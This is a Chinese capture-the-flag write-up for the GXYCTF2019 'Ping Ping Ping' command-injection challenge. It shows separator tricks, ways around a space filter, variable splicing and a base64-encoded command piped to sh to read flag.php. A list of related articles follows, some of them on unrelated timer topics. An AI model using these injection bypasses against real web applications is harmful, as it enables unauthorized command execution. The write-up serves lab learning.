[GXYCTF2019]Ping Ping Ping(命令执行)

article/2025/7/27 22:41:46

命令执行绕过

常见写法

127.0.0.1&&+code 只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。

127.0.0.1&+code &表示将任务置于后台执行

127.0.0.1||+code 只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。

127.0.0.1|+code | 表示管道,上一条命令的输出,作为下一条命令的参数 1

27.0.0.1;+code 多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

1、 | 通配符

直接输出下一条语句

?ip=127.0.0.1|ls

需要找到flag.php,但是index.php应该是过滤规则

?ip=127.0.0.1|cat flag.php ,cat显示

空格绕过方式

$IFS ${IFS} $IFS$1 //可以是任意数字 < <> {cat,flag.php} %20 %09 {cat,flag.txt} cat${IFS}flag.txt cat$IFS$9flag.txt cat$IFS$1flag.txt cat<flag.txt %09替换 cat<>flag.txt kg=$'\x20flag.txt'&&cat$kg (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

?ip=127.0.0.1|cat$IFS$21index.php

查看规则

符号,空格,bash,以及flag内容都被ban

方法1 变量拼接

让a=ag,b=fl拼接出flag

?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php

?ip=127.0.0.1;b=ag;cat$IFS$21fl$b.php

变量拼接也是绕过正则过滤的一个有效的方法。查看F12获取flag

方法2 base64编码

过滤掉的关键词进行base65编码来绕过正则,再使用linux命令将编码解读成我们要执行的命令。我们可以将cat flag.php进行base64编码,再用base -d命令解码。

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

管道符后面为直接的语句

单双引号绕过

虽然这一题单双引号被ban了,但是也是一个不错的绕过姿势。使用单双引号进行拼接,比如

ca""t还有fl''ag等。在linux中,读取到没有特使含义的单双引号就会被当作空格处理。

反斜线绕过

大同小异

ca\t fl\ag

参考文章

GXYCTF 2019 | 题目解析之Ping Ping Ping - FreeBuf网络安全行业门户

[GXYCTF2019]Ping Ping Ping_没事就逛博客的博客-CSDN博客

[GXYCTF 2019]Ping Ping Ping_XiLitter的博客-CSDN博客

命令执行漏洞利用及绕过方式总结 - ghtwf01 - ghtwf01


http://chatgpt.dhexx.cn/article/iVc6FWRx.shtml

相关文章

CTF_Web_[GXYCTF2019]Ping Ping Ping

一、题目 Ping Ping Ping 二、靶机信息链接 靶机信息 剩余时间: 10072s http://70284b15-7c4e-4548-8b04-aadbc6e669f5.node4.buuoj.cn:81 三、靶机链接页面 四、 分析 因题目是Ping...再加上靶机页面有“/?ip” 可能是 ping地址&#xff0c;尝试按照所给的内容在url中加…

BUUCTF [GXYCTF2019]Ping Ping Ping easywill

题目地址&#xff1a;BUUCTF在线评测 考点&#xff1a;ping命令相关命令执行 这里过滤了flag和空格 绕过空格可以使用 $IFS$1 使用ls命令查询目录 ?ip127.0.0.1;ls 发现有两个文件&#xff0c;一个是flag.php&#xff0c;另一个是index.php。 cat获取文件内容&#xff…

BUUctf [GXYCTF2019]Ping Ping Ping

根据题目和页面的提示猜测是命令执行漏洞 ;前面和后面命令都要执行&#xff0c;无论前面真假 |直接执行后面的语句 ||如果前面命令是错的那么就执行后面的语句&#xff0c;否则只执行前面的语句 &前面和后面命令都要执行&#xff0c;无论前面真假 &&如果前面为假&a…

BUUCTF——web([GXYCTF2019]Ping Ping Ping、[极客大挑战 2019]Knife、[极客大挑战 2019]Http)

BUUCTF-web [GXYCTF2019]Ping Ping Ping做题思路 [极客大挑战 2019]Knife做题思路 [极客大挑战 2019]Http做题思路 [GXYCTF2019]Ping Ping Ping 做题思路 打开看题目 熟悉的样子&#xff0c;ping本地加查看命令&#xff0c;得到两个php文件 接着查看一下文件内容 奇奇怪…

Buuctf (Web)Ping Ping Ping

文章目录 一.解题步骤二、命令分隔符三.常见绕过方式 一.解题步骤 &#xff08;1&#xff09;页面里显示/?ip,很明显要以ping的形式传一个参数给ip&#xff0c;并且我们要想执行其他命令&#xff0c;就要用命令分隔符也就是管道符连接&#xff0c;命令分隔符可以用";“”…

BUUCTF之Ping Ping Ping

目录 审题 常用的空格绕过方法 解决方法 法一 拼接绕过法 法二 内联执行法 法三 sh编码绕过法 审题 点开链接 根据题目提示随便试试构造payload inurl?ip666 有返回&#xff0c;参数ip的值就是要ping的内容 这里我们知道有Windows和Linux通用的…

BUUCTF【Web】Ping Ping Ping

进入靶场后是一个ping的功能&#xff08;命令执行漏洞&#xff09;&#xff0c;参数ip传递的内容会被当做ip地址进行网络连通性测试。首先测试一下本机地址 首先使用ls命令查看当前路径下有那些文件&#xff0c;拼接符有“&”、“|”、“||”、“&&”、“&#xff…

BUUCTF Web [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http

目录 [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http [GXYCTF2019]Ping Ping Ping 启动靶机&#xff0c;构造payload ?ip127.0.0.1 查看同目录下有什么文件 ?ip127.0.0.1;ls 读取flag.php ?ip127.0.0.1;cat flag…

buuctf[GXYCTF2019]Ping Ping Ping

buuctf[GXYCTF2019]Ping Ping Ping 这个题目的标题是pingping盲猜是关于命令执行的题目 打开环境后 只有一个/ip&#xff1f; 应该是提示用get的方式来传参一个地址执行ping的操作 直接ping127.0.0.1 回显ping127.0.0.1的数据 说明是一道命令执行的题目 执行&#xff1a;?i…

xxl-job源码阅读——(六)调度线程与时间轮算法

文章目录 一. 时间对齐二. scheduleThread 调度线程三. ringThread 时间轮&#xff08;算法&#xff09;线程原理源码实现 本章介绍init()最后一个步骤&#xff0c;初始化调度线程。 另外 第六步的JobLogReportHelper.getInstance().start()只是做了一个日志整理收集&#xff0…

时间轮(七)

时间轮 Kafka 中存在大量的延时操作&#xff0c;比如延时生产、延时拉取和延时删除等。Kafka 并没有使用 JDK 自带的 Timer 或 DelayQueue 来实现延时的功能&#xff0c;而是基于时间轮的概念自定义实现了一个用于延时功能的定时器&#xff08;SystemTimer&#xff09;。JDK 中…

java 时间轮算法_时间轮算法(TimingWheel)是如何实现的?

前言 我在2. SOFAJRaft源码分析—JRaft的定时任务调度器是怎么做的&#xff1f;这篇文章里已经讲解过时间轮算法在JRaft中是怎么应用的&#xff0c;但是我感觉我并没有讲解清楚这个东西&#xff0c;导致看了这篇文章依然和没看是一样的&#xff0c;所以我打算重新说透时间轮算法…

Redis之时间轮机制(五)

&#x1f680; 优质资源分享 &#x1f680; 学习路线指引&#xff08;点击解锁&#xff09;知识定位人群定位&#x1f9e1; Python实战微信订餐小程序 &#x1f9e1;进阶级本课程是python flask微信小程序的完美结合&#xff0c;从项目搭建到腾讯云部署上线&#xff0c;打造一…

C++定时器和时间轮

文章目录 定时器最小堆实现定时器 时间轮单层级时间轮多层级时间轮 定时器 有些时候我们需要延迟执行一些功能&#xff0c;比如每10s进行一次数据采集。或者告知用户技能冷却有多少时间&#xff0c;如果我们将执行这些功能的任务交给主线程&#xff0c;就会造成主线程的阻塞。…

简单描述时间轮

时间轮 作用 也是用来作定时器触发任务&#xff0c;只是他更高效&#xff0c;时间复杂度为O(1)。 运行原理 为了方便理解我们参考钟表&#xff0c;它分为3个层次&#xff1a;时、分、秒&#xff0c;只有秒针在运动&#xff0c;走动一格时间为1秒&#xff0c;走一圈为1分钟&…

再谈时间轮

时间轮很早前就很流行了&#xff0c;在很多优秀开源框架中都有用到&#xff0c;像kafka、netty。也算是现在工程师基本都了解的一个知识储备了。有幸在工作中造过两次轮子&#xff0c;所以今天聊聊时间轮。 时间轮是一种高性能定时器。 时间轮&#xff0c;顾名思义&#xff0c…

时间轮原理及其在框架中的应用

一、时间轮简介 1.1 为什么要使用时间轮 在平时开发中&#xff0c;经常会与定时任务打交道。下面举几个定时任务处理的例子。 1&#xff09;心跳检测。在Dubbo中&#xff0c;需要有心跳机制来维持Consumer与Provider的长连接&#xff0c;默认的心跳间隔是60s。当Provider在3…

时间轮分析

背景 在需要完成重试机制或者心跳机制一类的业务&#xff0c;除了使用excutors做定时任务。还可以使用时间轮完成这类需求 分析 使用dubbo中的心跳重试作为案例分析时间轮的使用 源码分析 在HeaderExchangeClient启动的时候调用startHeartBeatTask()开启心跳任务&#xff0…

Netty时间轮

概述 时间轮是一个高性能&#xff0c;低消耗的数据结构&#xff0c;它适合用非准实时&#xff0c;延迟的短平快任务&#xff0c;例如心跳检测。在netty和kafka中都有使用。 比如Netty动辄管理100w的连接&#xff0c;每一个连接都会有很多超时任务。比如发送超时、心跳检测间隔等…

高性能定时器时间轮的实现

时间轮的概念 关于定时器有很多种&#xff0c;有基于升序的定时器时间链表&#xff0c;但是这种链表存在效率的不足&#xff0c;就是当插入定时器的时候时间复杂度是O(n).今天&#xff0c;我们来认识一下高性能定时器时间轮。 如上图所示&#xff0c;就是一个时间轮的基本轮廓…